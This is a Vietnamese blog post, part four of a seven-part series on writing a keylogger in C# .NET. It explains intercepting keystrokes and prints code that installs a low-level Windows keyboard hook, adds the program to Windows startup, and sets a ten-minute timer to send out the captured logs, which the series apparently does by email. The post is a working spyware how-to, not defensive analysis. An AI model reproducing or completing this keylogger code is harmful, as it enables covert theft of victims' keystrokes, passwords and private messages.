Thứ Ba, 2 tháng 2, 2010

// // Leave a Comment

Key Logger C# .NET - Intercepting Keystrokes

Chặn Keystrokes

Đây là phần quan trọng nhất của các keylogger. Tôi đã đặt đoạn code cần thiết trong lớp InterceptKeys.

Trước tiên, chúng ta khai báo một vài hằng sốđể sử dụng trong các hàm API.
Các bạn có thể tìm kiếm đọc thêm về phần thư viện API. Bây giờ tạm thời sử dụng đoạn mã sau.
class InterceptKeys
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
Cuối cùng, phương thức Main(). Chúng ta thiết lập hook thông qua SetHook(_proc) và chúng ta kiểm tra xem chương trình trong khoá khởi động của Windows với việc sử dụng phương thức appstart.startup().

Như tôi đã nói, chúng ta cần một timer để biết khi nào thì gửi thông điệp.

Khi timer được lên giây(elapses), OnTimedEvent trong lớp appstart được gọi

Giá trị của AutoReset được gán là true, do đó khi timer elapses, nó sẽ đặt lại, nếu giá trị là false, thì thông điệp chỉ được gửi đi một lần.

Giá trị Interval cho biết thời gian (trong mili giây) OnTimedEvent sau đó sẽ được gọi. Trong ví dụ này, bạn thấy 600.000 miliseconds, nghĩa là 10 phút.

Một chỉ dẫn quan trong khác là GC.KeepAlive(timer); điều này sẽ ngăn việc thu giác từ trước khi phương thức kết thúc. UnhookWindowsEx sẽ vô hiệu hoá móc nối (hook).
public static void Main()
{
_hookID = SetHook(_proc);
appstart.startup();
System.Timers.Timer timer;
timer = new System.Timers.Timer();
timer.Elapsed += new ElapsedEventHandler(appstart.OnTimedEvent);
timer.AutoReset = true;
timer.Interval = 600000;
timer.Start();
Application.Run();
GC.KeepAlive(timer);
UnhookWindowsHookEx(_hookID);
}

SetWindowsHookEx trả về một hook ID sẽ được sử dụng để gỡ móc nối(unhook) ứng dụng khi nó tắt(shut down), điều này cần phải được lưu trữ trong một biến thành viên để sử dụng trong tương lai.

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
SetWindowsHookEx yêu cầu một con trỏ(IntPtr) đến các hàm gọi lại(callback function) sẽ được sử dụng để xử lý các sự kiện bàn phím.

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);


Phần 1: Creating the Project
Phần 2: Running the Key Logger
Phần 3: Got Mail
Phần 4: Intercepting Keystrokes
Phần 5: The HookCallback Method
Phần 6: API Methods
Phần 7: Possible Errors

0 comments: